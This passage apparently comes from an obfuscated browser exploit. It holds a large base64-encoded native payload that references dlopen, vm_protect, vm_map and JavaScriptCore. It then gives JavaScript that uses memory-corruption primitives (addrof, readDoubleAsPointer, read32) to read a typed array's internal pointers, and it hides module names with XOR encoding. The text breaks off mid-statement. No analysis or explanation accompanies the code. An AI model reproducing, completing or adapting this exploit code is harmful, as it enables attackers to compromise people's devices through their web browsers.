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RScdEzHtkQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIIxAExUAACgAAAAUAACAKAAAAAAAAAAAABAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADoT3CyiCGY8gAAAABAAAAAFICyUgmAslIIgLJSZGxvcGVuAGRsYWRkcgBkbGNsb3NlAGRsZXJyb3IAX3Byb2Nlc3MAdGFza19pbmZvAHN5c19kY2FjaGVfZmx1c2gAc3lzX2ljYWNoZV9pbnZhbGlkYXRlAF9kbHN5bQAvdXNyL2xpYi9zeXN0ZW0vbGliZHlsZC5keWxpYgBfX1RFWFQAX19MSU5LRURJVABfX2R5bGRfZGxzeW1faW50ZXJuYWwAX19keWxkX2Rsc3ltAGRsc3ltAG1hY2hfZXZlbnRsaW5rX2NyZWF0ZQBkeWxkVmVyc2lvbk51bWJlcgBnZXRwaWQAcHJvY19waWRpbmZvAHZtX3JlZ2lvbl82NAB2bV9wcm90ZWN0AG1hY2hfbWFrZV9tZW1vcnlfZW50cnkAdm1fbWFwAHZtX2FsbG9jYXRlAGtldmVudF9pZABfX1BBR0VaRVJPAF9fREFUQQBfX2VoX2ZyYW1lAF9fdW53aW5kX2luZm8AX194AF9fc3R1YnMAX19hdXRoX3N0dWJzAF9fb2JqY19zdHVicwBfX2ludGVybmFsAEBycGF0aAAvdXNyL2xpYi9saWJvYmpjLkEuZHlsaWIAL3Vzci9saWIvc3lzdGVtL2xpYmNhY2hlLmR5bGliAGR5bGRfc3R1Yl9iaW5kZXIAX19vYmpjX2VtcHR5X3Z0YWJsZQBfb2JqY19yZWFkQ2xhc3NQYWlyAF9wdGhyZWFkX2NyZWF0ZQAvdXNyL2xpYi9zeXN0ZW0vbGlic3lzdGVtX3B0aHJlYWQuZHlsaWIAcHRocmVhZF9jcmVhdGUAL3Vzci9saWIvc3lzdGVtL2xpYnN5c3RlbV9jLmR5bGliAG1hbGxvYwBmcmVlAF9hc2xfdmxvZwBfYXNsX2xvZwAvdXNyL2xpYi9zeXN0ZW0vbGlic3lzdGVtX3RyYWNlLmR5bGliAF9vc19sb2dfYWN0dWFsAF9vc19sb2dfaW50ZXJuYWwAX29zX2xvZ19kZWZhdWx0AHZhc3ByaW50ZgBfTlNHZXRNYWNoRXhlY3V0ZUhlYWRlcgBfX29zbG9nc3RyaW5nACV7cHVibGljfXMAL1N5c3RlbS9MaWJyYXJ5L0ZyYW1ld29ya3MvSmF2YVNjcmlwdENvcmUuZnJhbWV3b3JrL0phdmFTY3JpcHRDb3JlAEpTRXZhbHVhdGVTY3JpcHQAc2lnYWN0aW9uAG9iamVjdF9nZXRDbGFzcwBfb2JqY19wYXRjaF9yb290X29mX2NsYXNzAF9vYmpjX21hcF9pbWFnZXMAX190ZXh0AF9fQVVUSF9DT05TVABfX2NvbnN0AF9fREFUQV9DT05TVABvYmpjX3JldGFpbkF1dG9yZWxlYXNlAF9vYmpjX2ZsdXNoX2NhY2hlcwAvdXNyL2xpYi9saWJTeXN0ZW0uZHlsaWIAX05TR2V0QXJnYwBfTlNHZXRBcmd2AF9OU0dldEVudmlyb24AX05TR2V0UHJvZ25hbWUAAAAA") +} +const IA = 0, + wA = 1, + QA = 2, + BA = 3, + NA = 4, + EA = 5, + TA = 6, + UA = 7, + LA = (1833530434 ^ 1816753218), + sA = 4, + kA = LA / 2 - 4, + FA = LA / 2, + SA = LA / 2; + +function YA() { + const A = new Uint32Array(new ArrayBuffer(LA)), + B = new Uint8Array(A.buffer), + g = new Uint32Array(A.buffer), + Q = platformModule.platformState.exploitPrimitive, + D = Q.addrof(A), + M = Q.readDoubleAsPointer(D + globalThis.moduleManager.getModuleByName(([84, 81, 83, 83, 92, 6, 4, 86, 7, 84, 80, 84, 92, 7, 4, 87, 4, 93, 3, 81, 85, 7, 0, 87, 93, 82, 3, 83, 81, 83, 1, 81, 1, 82, 80, 92, 86, 0, 7, 85].map(x => { + return String.fromCharCode(x ^ 101); + }).join(""))).platformState.versionFlags.oGn3OG), + w = new utilityModule.Int64(utilityModule._(M), utilityModule.F(M)), + C = Q.addrof(A.buffer), + I = Q.readDoubleAsPointer(C + globalThis.moduleManager.getModuleByName(([114, 119, 117, 117, 122, 32, 34, 112, 33, 114, 118, 114, 122, 33, 34, 113, 34, 123, 37, 119, 115, 33, 38, 113, 123, 116, 37, 117, 119, 117, 39, 119, 39, 116, 118, 122, 112, 38, 33, 115].map(x => { + return String.fromCharCode(x ^ 67); + }).join(""))).platformState.versionFlags.CN3rr_); + let E = Q.read32(I + globalThis.moduleManager.getModuleByName(([119, 114, 112, 112, 127, 